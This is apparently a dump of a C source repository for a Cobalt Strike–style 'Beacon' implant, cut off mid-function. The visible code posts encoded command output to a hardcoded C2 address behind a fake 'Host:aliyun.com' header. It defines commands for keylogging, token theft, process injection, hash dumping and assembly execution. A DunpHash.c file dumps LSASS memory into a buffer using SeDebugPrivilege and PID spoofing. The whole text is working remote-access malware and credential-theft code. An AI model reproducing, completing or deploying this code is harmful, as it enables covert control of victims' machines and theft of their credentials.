////printf(\"\\n\");\n    unsigned char* MaskEncodedata = MaskEncode(finalPaket, buflen, &codelen1);\n    \n    char* data = base64Encode(MaskEncodedata, codelen1);\n  \n\n    char header[] = \"User:\";\n    struct curl_slist* headers = NULL;\n    char* concatenatedString = (char*)malloc(strlen(id) +strlen(header) + strlen(Http_post_id_prepend) + strlen(Http_post_id_append) + 1);\n    //strcpy(concatenatedString, Http_post_id_prepend);\n    //strcat(concatenatedString, id);\n    //strcat(concatenatedString, Http_post_id_append);\n   \n    snprintf(concatenatedString, strlen(id)+ strlen(header) + strlen(Http_post_id_prepend) + strlen(Http_post_id_append) + 1, \"%s%s%s%s\", header, Http_post_id_prepend, id, Http_post_id_append);\n   // //printf(\"3333333 %s \", concatenatedString);\n    headers = curl_slist_append(headers, \"Host:aliyun.com\");\n    headers = curl_slist_append(headers, concatenatedString);\n    \n    //printf(\"Concatenated String: %s\\n\", concatenatedString);\n    char* datastring = (char*)malloc(strlen(data) + strlen(Http_post_client_output_prepend) + strlen(Http_post_client_output_append) + 1);\n    /*memcpy(datastring,Http_post_client_output_prepend, strlen(Http_post_client_output_prepend));\n    memcpy(datastring+ strlen(Http_post_client_output_prepend), data, strlen(data));\n    memcpy(datastring + strlen(Http_post_client_output_prepend)+ strlen(data), Http_post_client_output_append,strlen(Http_post_client_output_append));*/\n    strcpy(datastring, Http_post_client_output_prepend);\n    strcat(datastring, data);\n    strcat(datastring, Http_post_client_output_append);\n    perform_post_request(Http_Post_uri,  headers, datastring);\n\n}\n\n\nunsigned char* criticalSection(unsigned char* buf, size_t lenn,int callback) {\n    size_t buflen;\n    \n    unsigned char* finalPaket = MakePacket(callback, buf, lenn, &buflen);\n   /* //printf(\"finalPaket1 : %d\\n\", buflen);\n    for (size_t i = 0; i < buflen; ++i) {\n        //printf(\"0x%02x, \", finalPaket[i]);\n    }\n    //printf(\"\\n\");*/\n    \n    unsigned char* result = PushResult(finalPaket, buflen);\n    \n\n\n}\n\nvoid DataProcess(unsigned char* buf, size_t lenn, int callback) {\n    buf[lenn] = '\\0';\n    if (callback == 0) {\n        size_t outputLen;\n        unsigned char* utf8Buf = CodepageToUTF8(buf, lenn, &outputLen);\n        if (utf8Buf != NULL) {\n            //printf(\"UTF-8 output: %s\\n\", utf8Buf);\n            // ʹutf8BufкҪͷڴ\n            // 磬CodepageToUTF8ڴ棬Ҫʹfree(utf8Buf)ͷ\n            // CodepageToUTF8ʵȷǷҪͷڴ\n        }\n    }\n\n    criticalSection(buf, lenn, callback);\n\n    \n}\n\n\nvoid BeaconFormatAlloc(formatp* format, int maxsz) {\n    char* buff = (char*)malloc(maxsz);\n    return BeaconFormatInit(format, buff, maxsz);\n}\n\nvoid BeaconFormatInit(formatp* format, char* buff, int buffsize) {\n    format->length = 0;\n    format->original = buff;\n    format->buffer = buff;\n    format->size = buffsize;\n    memset(buff, 0, buffsize);\n}\n\n\n\n\nvoid BeaconFormatPrintf(formatp* format, char* fmt, ...) {\n    va_list ArgList;\n    va_start(ArgList, fmt);\n    int v2 = vprintf(fmt, ArgList);\n    if (v2 > 0) {\n        int size = format->size - format->length;\n        if (v2 < size) {\n            int v4 = vsprintf_s(format->buffer, size, fmt, ArgList);\n            format->buffer += v4;\n            format->length += v4;\n        }\n    }\n}\n\nint BeaconFormatlength(formatp* format) {\n    return format->length;\n}\n\n\nvoid BeaconFormatFree(formatp* format)\n{\n    memset(format->original, 0, format->size);\n    free(format->original);\n}\n\nchar* BeaconDataPtr2(datap* parser)\n{\n    int size = BeaconDataInt(parser);\n    if (size)\n    {\n        return BeaconDataPtr(parser, size);\n    }\n    return 0;\n}\n\nchar* BeaconDataPtr3(datap* parser, int* outsize)\n{\n    int size = BeaconDataInt(parser);\n    if (size)\n    {\n        *outsize = size;\n        return BeaconDataPtr(parser, size);\n\n    }\n    return 0;\n}\n\nvoid BeaconDataParse(datap* parser, char* buffer, int size)\n{\n    parser->original = buffer;\n    parser->buffer = buffer;\n    parser->length = size;\n    parser->size = size;\n}\n\nchar* BeaconDataPtr(datap* parser, int size)\n{\n    char* result = 0;\n    if (parser->length < size)\n    {\n        return 0;\n    }\n    result = parser->buffer;\n    parser->buffer += size;\n    parser->length -= size;\n    return result;\n}\n\nint\tBeaconDataInt(datap* parser)\n{\n    int result;\n    if (parser->length < sizeof(int))\n    {\n        return 0;\n    }\n    result = ntohl(*(u_long*)parser->buffer);\n    parser->buffer += sizeof(int);\n    parser->length += sizeof(int);\n    return result;\n}\n\nshort BeaconDataShort(datap* parser)\n{\n    short result;\n\n    if (parser->length < sizeof(short))\n    {\n        return 0;\n    }\n    result = ntohs(*(u_short*)parser->buffer);\n    parser->buffer += sizeof(short);\n    parser->length -= sizeof(short);\n    return result;\n}\n\nint\tBeaconDataLength(datap* parser)\n{\n    return parser->length;\n}\nchar* BeaconDataExtract(datap* parser, int* outsize)\n{\n    int size = 0;\n    char* data = BeaconDataPtr3(parser, &size);\n    if (outsize)\n    {\n        *outsize = size;\n    }\n    return size != 0 ? data : 0;\n}\nvoid BeaconFormatReset(formatp* format)\n{\n    format->buffer = format->original;\n    format->length = 0;\n}\nvoid BeaconFormatAppend(formatp* format, char* text, int len)\n{\n    if (len < format->size - format->length)\n    {\n        if (len)\n        {\n            memcpy(format->buffer, text, len);\n            format->buffer += len;\n            format->length += len;\n        }\n    }\n}\nchar* BeaconFormatOriginalPtr(formatp* format)\n{\n    return format->original;\n}\nchar* BeaconFormatToString(formatp* format, int* size)\n{\n    if (!size)\n    {\n        return 0;\n    }\n    int length = BeaconFormatlength(format);\n    *size = length;\n    return BeaconFormatOriginalPtr(format);\n}\n\nvoid BeaconFormatInt(formatp* format, int value)\n{\n    value = htonl(value);\n    BeaconFormatAppend(format, (char*)&value, 4);\n}\ndatap* BeaconMaketoken;\nextern HANDLE pTokenHandle;\nvoid BeaconErrorD() {\n    return;\n}\nvoid BeaconRevertToken()\n{\n    return;\n}\nvoid BeaconErrorDD()\n{\n    return;\n}\nvoid BeaconErrorNA()\n{\n    return;\n}\nBOOL is_admin()\n{\n    struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority;\n\n    PSID pSid;\n\n    BOOL IsMember;\n\n    pIdentifierAuthority.Value[0] = 0;\n    pIdentifierAuthority.Value[1] = 0;\n    pIdentifierAuthority.Value[2] = 0;\n    pIdentifierAuthority.Value[3] = 0;\n    pIdentifierAuthority.Value[4] = 0;\n    pIdentifierAuthority.Value[5] = 5;\n    IsMember = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &pSid);\n    if (!IsMember)\n    {\n        return IsMember;\n    }\n    if (!CheckTokenMembership(0, pSid, &IsMember))\n    {\n        IsMember = 0;\n    }\n    FreeSid(pSid);\n    return IsMember;\n}\nint Is_Wow64(HANDLE hProcess)\n{\n    HMODULE kernel32base;\n    BOOL(__stdcall * IsWow64Process)(HANDLE, PBOOL);\n    int result;\n    int v4 = 0;\n    kernel32base = GetModuleHandleA(\"kernel32\");\n    IsWow64Process = (BOOL(__stdcall*)(HANDLE, PBOOL))GetProcAddress(kernel32base, \"IsWow64Process\");\n    if (!IsWow64Process || (result = IsWow64Process(hProcess, &v4)) != 0)\n    {\n        result = v4;\n    }\n    return result;\n}\nvoid resolve_spawntopath(LPSTR lpDst, BOOL x86)\n{\n    char Buffer[256];\n    memset(Buffer, 0, sizeof(Buffer));\n    if (!x86)\n    {\n       /* if (spawntoPath_x64 && strlen(spawntoPath_x64))\n        {\n            _snprintf(Buffer, 0x100u, \"%s\", spawntoPath_x64);\n            BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100u);\n            return;\n        }\n        char* post_ex_spawnto_x64 = get_str(30);\n        _snprintf(Buffer, 0x100u, \"%s\", post_ex_spawnto_x64);\n        BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100);*/\n        return;\n    }\n   /* if (!spawntoPath_x86 || !strlen(spawntoPath_x86))\n    {\n        char* post_ex_spawnto_x86 = get_str(29);\n        _snprintf(Buffer, 0x100u, \"%s\", post_ex_spawnto_x86);\n        BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100);\n        return;\n    }*/\n}\nvoid getspawntopath(char* path_buffer, BOOL x86)\n{\n\n    memset(path_buffer, 0, 256);\n    if (!x86)\n    {\n        resolve_spawntopath(path_buffer, 0);\n        return;\n    }\n    HANDLE hPrcoess = GetCurrentProcess();\n    if (Is_Wow64(hPrcoess))\n    {\n        resolve_spawntopath(path_buffer, 1);\n        return;\n    }\n    resolve_spawntopath(path_buffer, 1);\n    char* pch = strstr(path_buffer, \"syswow64\");\n    if (pch)\n    {\n        memcpy(pch, \"system32\", 8);\n    }\n}\ntypedef struct STARTUPINFOA {\n    DWORD   cb;\n    LPSTR   lpReserved;\n    LPSTR   lpDesktop;\n    LPSTR   lpTitle;\n    DWORD   dwX;\n    DWORD   dwY;\n    DWORD   dwXSize;\n    DWORD   dwYSize;\n    DWORD   dwXCountChars;\n    DWORD   dwYCountChars;\n    DWORD   dwFillAttribute;\n    DWORD   dwFlags;\n    WORD    wShowWindow;\n    WORD    cbReserved2;\n    LPBYTE  lpReserved2;\n    HANDLE  hStdInput;\n    HANDLE  hStdOutput;\n    HANDLE  hStdError;\n};\ntypedef struct\n{\n    char* path; /*·*/\n    int path_size; /*·*/\n    STARTUPINFOA* pSTARTUPINFOA;\n    PROCESS_INFORMATION* pPROCESS_INFORMATION;\n    DWORD dwCreationFlags;\n    BOOL ignoreToken;\n} BeaconStartProcess;\n\nint CreateProcessCore (BeaconStartProcess* pBeaconStartProcess) {\n\n    if (!CreateProcessA(\n        NULL,\n        pBeaconStartProcess->path,\n        NULL,\n        NULL,\n        TRUE,\n        pBeaconStartProcess->dwCreationFlags,\n        NULL,\n        NULL,\n        pBeaconStartProcess->pSTARTUPINFOA,\n        pBeaconStartProcess->pPROCESS_INFORMATION))\n    {\n        int LastError = GetLastError();\n        \n        return 0;\n    }\n\n    return 1;\n\n\n}\nint BeaconCreateProcess(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken, int PPID)\n{\n    BeaconStartProcess pStartProcess;\n\n    pStartProcess.path = path;\n    pStartProcess.path_size = path_size;\n    pStartProcess.pSTARTUPINFOA = sInfo;\n    pStartProcess.pPROCESS_INFORMATION = pInfo;\n    pStartProcess.dwCreationFlags = dwCreationFlags;\n    pStartProcess.ignoreToken = ignoreToken;\n    return CreateProcessCore(&pStartProcess);\n}\n////ƭ\n//DWORD gBeaconPPID;\n//int BeaconExecuteCommand(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken)\n//{\n//    return BeaconCreateProcess(path, path_size, sInfo, pInfo, dwCreationFlags, ignoreToken, gBeaconPPID);\n//}\n\n\nvoid BeaconcloseAllHandle(PROCESS_INFORMATION* pi)\n{\n    \n    if (pi->hProcess != (HANDLE)-1 && pi->hProcess)\n    {\n        CloseHandle(pi->hProcess);\n    }\n    if (pi->hThread != (HANDLE)-1)\n    {\n        if (pi->hThread)\n        {\n            CloseHandle(pi->hThread);\n        }\n    }\n}\nBOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max)\n{\n    unsigned int size;\n\n    size = MultiByteToWideChar(0, 0, lpMultiByteStr, -1, 0, 0);\n    if (size == -1 || size >= max)\n    {\n        return 0;\n    }\n    MultiByteToWideChar(0, 0, lpMultiByteStr, -1, lpWideCharStr, max);\n    return 1;\n}\nint CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize)\n{\n    DWORD flOldProtect;\n    if (VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, &flOldProtect))\n    {\n        return 1;\n    }\n    //BeaconErrorD(0x11, GetLastError());\n    return 0;\n}"
  },
  {
    "path": "Beacon/Command.h",
    "content": "#pragma once\n#include <corecrt_io.h>\n#include <wchar.h>\n#include <locale.h>\n#include <string.h>\n#include <dirent.h>\n#include <time.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <limits.h>\n#include <stdint.h>\n#include <processthreadsapi.h>\n#include \"Config.h\"\n#include \"Util.h\"\n#include \"Bof.h\";\n\ntypedef struct {\n    int JobNumber;\n    HANDLE pHandle;\n    HANDLE hThread;\n    int dwProcessId;\n    int dwThreadId;\n    HANDLE hReadPipe;\n    HANDLE hWritePipe;\n    struct BeaconJob* Linked;\n    BOOL state;\n    BOOL kill;\n    int JobProcessPid;\n    int JobType;\n    short lasting;\n    char JobName[64];\n}BeaconJob;\nvoid SleepTimes(unsigned char* Buf);\nunsigned char* CmdFileBrowse(unsigned char* commandBuf, size_t* lenn);\nvoid DataProcess(unsigned char* buf, size_t lenn, int callback);\n\nunsigned char* parseUpload(unsigned char* commandBuf, size_t* commandBuflen, size_t* lenn, int chunkNumber);\nunsigned char* CmdDrives(unsigned char* commandBuf, size_t* commandBuflen);\nunsigned char* cmdMkdir(unsigned char* cmdBuf, size_t* commandBuflen, size_t* Bufflen);\nunsigned char* fileRemove(unsigned char* cmdBuf, size_t* commandBuflen, size_t* Bufflen);\nunsigned char* Download(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen);\nunsigned char* Cmdshell(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen);\n\nvoid __cdecl BeaconBof(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen);\n//unsigned char* EXECUTE_ASSEMBLY(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen);\n//unsigned char* EXECUTE_ASSEMBLY(unsigned char* Taskdata, size_t* Task_size, int x86, int ignoreToken);\nunsigned char* EXECUTE_ASSEMBLY(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen);\nvoid PipeJob(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen);\n\nvoid ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len);\nBeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname);\nvoid CheckTimeout(HANDLE hNamedPipe, int timeout);\n\n\nvoid beacon_ps(char* Taskdata, int Task_size);\nint DumpHASH();\n\nint Is_Wow64(HANDLE hProcess);\nint BeaconFormatlength(formatp* format);\nvoid BeaconFormatFree(formatp* format);\nvoid BeaconFormatAlloc(formatp* format, int maxsz);\nvoid BeaconFormatInit(formatp* format, char* buff, int buffsize);\nvoid BeaconFormatPrintf(formatp* format, char* fmt, ...);\nvoid BeaconDataParse(datap* parser, char* buffer, int size);\nchar* BeaconDataPtr(datap* parser, int size);\nchar* BeaconDataPtr2(datap* parser);\nint\tBeaconDataInt(datap* parser);\nshort BeaconDataShort(datap* parser);\nint\tBeaconDataLength(datap* parser);\nchar* BeaconDataExtract(datap* parser, int* outsize);\nvoid BeaconFormatReset(formatp* format);\nvoid BeaconFormatAppend(formatp* format, char* text, int len);\nchar* BeaconFormatToString(formatp* format, int* size);\nvoid BeaconFormatInt(formatp* format, int value);\nvoid BeaconErrorNA();\nvoid BeaconErrorDD();\nvoid BeaconRevertToken();\nvoid BeaconErrorD();\nvoid BeaconSpawn(char* Taskdata, int Task_size);\nvoid BeaconReflectiveDLLInject(char* payload, int payloadsize);\nint BeaconDataCopyToBuffer1(datap* parser, char* buffer, int buffer_size);\n\n\n\nBOOL is_admin();\nint BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo);\nvoid BeaconcloseAllHandle(PROCESS_INFORMATION* pi);\nBOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max);\nchar* BeaconFormatOriginalPtr(formatp* format);\nint CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize);\nchar* BeaconDataPtr3(datap* parser, int* outsize);\n#define\tCALLBACK_OUTPUT             0\n#define\tCALLBACK_KEYSTROKES         1\n#define\tCALLBACK_FILE               2\n#define\tCALLBACK_SCREENSHOT         3\n#define\tCALLBACK_CLOSE              4\n#define\tCALLBACK_READ               5\n#define\tCALLBACK_CONNECT            6\n#define\tCALLBACK_PING               7\n#define\tCALLBACK_FILE_WRITE         8\n#define\tCALLBACK_FILE_CLOSE         9\n#define\tCALLBACK_PIPE_OPEN          10\n#define\tCALLBACK_PIPE_CLOSE         11\n#define\tCALLBACK_PIPE_READ          12\n#define\tCALLBACK_POST_ERROR         13\n#define\tCALLBACK_PIPE_PING          14\n#define\tCALLBACK_TOKEN_STOLEN       15\n#define\tCALLBACK_TOKEN_GETUID       16\n#define\tCALLBACK_PROCESS_LIST       17\n#define\tCALLBACK_POST_REPLAY_ERROR  18\n#define\tCALLBACK_PWD                19\n#define\tCALLBACK_JOBS               20\n#define\tCALLBACK_HASHDUMP           21\n#define\tCALLBACK_PENDING            22\n#define\tCALLBACK_ACCEPT             23\n#define\tCALLBACK_NETVIEW            24\n#define\tCALLBACK_PORTSCAN           25\n#define\tCALLBACK_DEAD               26\n#define\tCALLBACK_SSH_STATUS         27\n#define\tCALLBACK_CHUNK_ALLOCATE     28\n#define\tCALLBACK_CHUNK_SEND         29\n#define\tCALLBACK_OUTPUT_OEM         30\n#define\tCALLBACK_ERROR              31\n#define\tCALLBACK_OUTPUT_UTF8        32\n#define\tCMD_TYPE_SLEEP                       4\n#define\tCMD_TYPE_PAUSE                       47\n#define\tCMD_TYPE_SHELL                       78\n#define\tCMD_TYPE_UPLOAD_START                10\n#define\tCMD_TYPE_UPLOAD_LOOP                 67\n#define\tCMD_TYPE_DOWNLOAD                    11\n#define\tCMD_TYPE_Jobs\t\t\t\t\t\t 41\n#define\tCMD_TYPE_Jobskill\t\t\t\t     42\n#define\tCMD_TYPE_EXIT                        3\n#define\tCMD_TYPE_CD                          5\n#define\tCMD_TYPE_PWD                         39\n#define\tCMD_TYPE_FILE_BROWSE                 53\n#define\tCMD_TYPE_SPAWN_X64                   44\n#define\tCMD_TYPE_SPAWN_X86                   1\n#define\tCMD_TYPE_EXECUTE                     12\n#define\tCMD_TYPE_GETUID                      27\n#define\tCMD_TYPE_GET_PRIVS                   77\n#define\tCMD_TYPE_STEAL_TOKEN                 31\n#define\tCMD_TYPE_PS                          32\n#define\tCMD_TYPE_KILL                        33\n#define\tCMD_TYPE_DRIVES                      55\n#define\tCMD_TYPE_RUNAS                       38\n#define\tCMD_TYPE_MKDIR                       54\n#define\tCMD_TYPE_RM                          56\n#define\tCMD_TYPE_CP                          73\n#define\tCMD_TYPE_MV                          74\n#define\tCMD_TYPE_REV2SELF                    28\n#define\tCMD_TYPE_MAKE_TOKEN                  49\n#define\tCMD_TYPE_PIPE                        40\n#define\tCMD_TYPE_PORTSCAN_X86                89\n#define\tCMD_TYPE_PORTSCAN_X64                90\n#define\tCMD_TYPE_KEYLOGGER                   101\n#define\tCMD_TYPE_EXECUTE_ASSEMBLY_X64        88\n#define\tCMD_TYPE_EXECUTE_ASSEMBLY_X86        87\n#define\tCMD_TYPE_EXECUTE_ASSEMBLY_TOKEN_X64  71\n#define\tCMD_TYPE_EXECUTE_ASSEMBLY_TOKEN_X86  70\n#define\tCMD_TYPE_IMPORT_POWERSHELL           37\n#define\tCMD_TYPE_POWERSHELL_PORT             79\n#define\tCMD_TYPE_INJECT_X64                  43\n#define\tCMD_TYPE_INJECT_X86                  9\n#define\tCMD_TYPE_BOF                         100\n#define\tCMD_TYPE_RUNU                        76\n#define\tCMD_TYPE_ARGUE_QUERY                 85\n#define\tCMD_TYPE_ARGUE_REMOVE                84\n#define\tCMD_TYPE_ARGUE_ADD                   83\n#define\tCMD_TYPE_DumpHHH                     103"
  },
  {
    "path": "Beacon/Config.c",
    "content": "#include \"Config.h\"\n#include <Windows.h>\n\nconst char Http_get_uri[] = \"http://10.10.100.74:80/www/handle/doc\";\nconst char Http_Post_uri[] = \"http://10.10.100.74:80/IMXo\";\nunsigned char* pub_key_str =\"-----BEGIN PUBLIC KEY-----\\n\"\n\"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTWvb4Msb5iR3d+0DbOnj1HJ1ewGTxZgCyCxqT\\n\"\n\"-----END PUBLIC KEY-----\\n\";\n\nunsigned char* metadata_prepend = \"SESSIONID=\";\nunsigned char* metadata_header = \"Cookie:\"; //ÔÚprofileÖÐ²»ÓÃ¼Ó:ºÅ\nunsigned char* Response_prepend = \"data=\";\nunsigned char* Response_append = \"%%\";\nunsigned char* Http_post_id_prepend = \"user=\";\nunsigned char* Http_post_id_append = \"%%\";\nunsigned char* Http_post_client_output_prepend = \"data=\";\nunsigned char* Http_post_client_output_append = \"%%\";\nunsigned char IV[] = \"abcdefghijklmnop\";\nint SleepTime = 3000;\nint Counter = 0;\n"
  },
  {
    "path": "Beacon/Config.h",
    "content": "#pragma once\n#include <stdio.h>\n#include <string.h>\n#include <stdint.h>\nunsigned char* metadata_prepend;\nunsigned char* metadata_header;\nextern const char Http_get_uri[];\nextern const char Http_Post_uri[];\nunsigned char* Http_post_id_prepend;\nunsigned char* Http_post_id_append;\nunsigned char* Http_post_client_output_prepend;\nunsigned char* Http_post_client_output_append;\nextern unsigned char* pub_key_str;\nunsigned char* Response_prepend;\nunsigned char* Response_append;\nunsigned char IV[];\nint SleepTime;\nunsigned char AESRandaeskey[16];\nunsigned char Hmackey[16];\nint Counter;\nint clientID;"
  },
  {
    "path": "Beacon/DunpHash.c",
    "content": "﻿\n#include \"windows.h\"\n#include \"stdio.h\"\n#include <strsafe.h>\n#include <DbgHelp.h>\n#include \"ntdef.h\"\n#include \"Util.h\"\n\n\nLPVOID gDumpBuffer = NULL;\nDWORD gBytesRead = 0;\n#define MAX_LSASS_DMP_SIZE 314572800\n\nvoid RestoreOriginalPidTeb(DWORD originalPid, DWORD originalTid);\n\nBOOL MinidumpCallbackRoutine(PVOID CallbackParam, PMINIDUMP_CALLBACK_INPUT callbackInput, PMINIDUMP_CALLBACK_OUTPUT callbackOutput) {\n\tLPVOID destination = 0, source = 0;\n\tDWORD bufferSize = 0;\n\n\tswitch (callbackInput->CallbackType)\n\t{\n\tcase IoStartCallback:\n\t\tcallbackOutput->Status = S_FALSE;\n\t\tbreak;\n\n\t\t// Gets called for each lsass process memory read operation\n\tcase IoWriteAllCallback:\n\t\tcallbackOutput->Status = S_OK;\n\n\t\t// A chunk of minidump data that's been jus read from lsass. \n\t\t// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.\n\t\t// We will simply save it to dumpBuffer.\n\t\tsource = callbackInput->Io.Buffer;\n\n\t\t// Calculate location of where we want to store this part of the dump.\n\t\t// Destination is start of our dumpBuffer + the offset of the minidump data\n\t\tdestination = (LPVOID)((DWORD_PTR)gDumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);\n\n\t\t// Size of the chunk of minidump that's just been read.\n\t\tbufferSize = callbackInput->Io.BufferBytes;\n\t\tgBytesRead += bufferSize;\n\n\t\tRtlCopyMemory(destination, source, bufferSize);\n\n\t\t//printf(\"[+] Minidump offset: 0x%x; length: 0x%x\\n\", callbackInput->Io.Offset, bufferSize);\n\t\tbreak;\n\n\tcase IoFinishCallback:\n\t\tcallbackOutput->Status = S_OK;\n\t\tbreak;\n\n\tdefault:\n\t\treturn TRUE;\n\t}\n\treturn TRUE;\n}\n\nvoid EnableDebugPrivilege(BOOL enforceCheck) {\n\tHANDLE currentProcessToken = NULL;\n\tOpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);\n\tBOOL setPrivilegeSuccess = SetPrivilege(currentProcessToken, L\"SeDebugPrivilege\", TRUE);\n\tif (enforceCheck && !setPrivilegeSuccess) {\n\t\tprintf(\"SetPrivilege failed to enable SeDebugPrivilege. Run it as an Administrator. Exiting...\\n\");\n\t\texit(-1);\n\t}\n\tCloseHandle(currentProcessToken);\n}\n\nBOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege)\n{\n\tTOKEN_PRIVILEGES tp;\n\tPRIVILEGE_SET privs;\n\tLUID luid;\n\tBOOL debugPrivEnabled = FALSE;\n\tif (!LookupPrivilegeValueW(NULL, lpszPrivilege, &luid))\n\t{\n\t\tprintf(\"LookupPrivilegeValueW() failed, error %u\\n\", GetLastError());\n\t\treturn FALSE;\n\t}\n\ttp.PrivilegeCount = 1;\n\t//tp.Privileges[0].Luid = luid;\n\tmemcpy(&tp.Privileges[0].Luid, &luid, sizeof(LUID));\n\tif (bEnablePrivilege)\n\t\ttp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\telse\n\t\ttp.Privileges[0].Attributes = 0;\n\tif (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))\n\t{\n\t\tprintf(\"AdjustTokenPrivileges() failed, error %u\\n\", GetLastError());\n\t\treturn FALSE;\n\t}\n\tprivs.PrivilegeCount = 1;\n\tprivs.Control = PRIVILEGE_SET_ALL_NECESSARY;\n\t//privs.Privilege[0].Luid = luid;\n\tmemcpy(&privs.Privilege[0].Luid, &luid, sizeof(LUID));\n\tprivs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;\n\tif (!PrivilegeCheck(hToken, &privs, &debugPrivEnabled)) {\n\t\tprintf(\"PrivilegeCheck() failed, error %u\\n\", GetLastError());\n\t\treturn FALSE;\n\t}\n\tif (!debugPrivEnabled)\n\t\treturn FALSE;\n\treturn TRUE;\n}\nDWORD GetPidUsingFilePath(wchar_t* processBinaryPath) {\n\tDWORD retPid = 0;\n\tIO_STATUS_BLOCK iosb;\n\tHANDLE hFile;\n\tPFILE_PROCESS_IDS_USING_FILE_INFORMATION pfpiufi = NULL;\n\tint FileProcessIdsUsingFileInformation = 47;\n\tULONG pfpiufiLen = 0;\n\tPULONG_PTR processIdListPtr = NULL;\n\tNTSTATUS status = 0;\n\tpNtQueryInformationFile NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(LoadLibrary(L\"ntdll.dll\"), \"NtQueryInformationFile\");\n\thFile = CreateFile(processBinaryPath, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);\n\tif (hFile != INVALID_HANDLE_VALUE)\n\t{\n\t\tpfpiufiLen = 8192;\n\t\tpfpiufi = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pfpiufiLen);\n\t\tstatus = NtQueryInformationFile(hFile, &iosb, pfpiufi, pfpiufiLen, (FILE_INFORMATION_CLASS)FileProcessIdsUsingFileInformation);\n\t\twhile (status == STATUS_INFO_LENGTH_MISMATCH) {\n\t\t\tpfpiufiLen = pfpiufiLen + 8192;\n\t\t\tpfpiufi = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pfpiufi, pfpiufiLen);\n\t\t\tstatus = NtQueryInformationFile(hFile, &iosb, pfpiufi, pfpiufiLen, (FILE_INFORMATION_CLASS)FileProcessIdsUsingFileInformation);\n\t\t}\n\t\tprocessIdListPtr = pfpiufi->ProcessIdList;\n\t\t// we return only the first pid, it's usually the right one\n\t\tif (pfpiufi->NumberOfProcessIdsInList >= 1)\n\t\t\tretPid = *processIdListPtr;\n\t\tHeapFree(GetProcessHeap(), 0, pfpiufi);\n\t\tCloseHandle(hFile);\n\t}\n\treturn retPid;\n}\n\nvoid SpoofPidTeb(DWORD spoofedPid, PDWORD originalPid, PDWORD originalTid) {\n\tCLIENT_ID CSpoofedPid;\n\tDWORD oldProtection, oldProtection2;\n\t*originalPid = GetCurrentProcessId();\n\t*originalTid = GetCurrentThreadId();\n\tCLIENT_ID* pointerToTebPid = &(NtCurrentTeb()->ClientId);\n\tCSpoofedPid.UniqueProcess = (HANDLE)spoofedPid;\n\tCSpoofedPid.UniqueThread = (HANDLE)*originalTid;\n\tmemcpy(pointerToTebPid, &CSpoofedPid, sizeof(CLIENT_ID));\n}\nvoid FindTokenHandlesInProcess(DWORD targetPid, HANDLE* tokenHandles, PDWORD tokenHandlesLen)\n{\n\tPSYSTEM_HANDLE_INFORMATION handleInfo = NULL;\n\tDWORD handleInfoSize = 0x10000;\n\tNTSTATUS status;\n\tULONG processTypeIndex;\n\tUNICODE_STRING processTypeName = RTL_CONSTANT_STRING(L\"Token\");\n\tstatus = GetTypeIndexByName(&processTypeName, &processTypeIndex);\n\tif (!NT_SUCCESS(status)) {\n\t\tprintf(\"GetTypeIndexByName failed 0x%08x\\n\", status);\n\t\texit(-1);\n\t}\n\tpNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(LoadLibrary(L\"ntdll.dll\"), \"NtQuerySystemInformation\");\n\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);\n\twhile ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)\n\t\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);\n\tfor (DWORD i = 0; i < handleInfo->HandleCount; i++) {\n\t\tif (handleInfo->Handles[i].ObjectTypeIndex == processTypeIndex && handleInfo->Handles[i].UniqueProcessId == targetPid) {\n\t\t\ttokenHandles[*tokenHandlesLen] = (HANDLE)handleInfo->Handles[i].HandleValue;\n\t\t\t*tokenHandlesLen 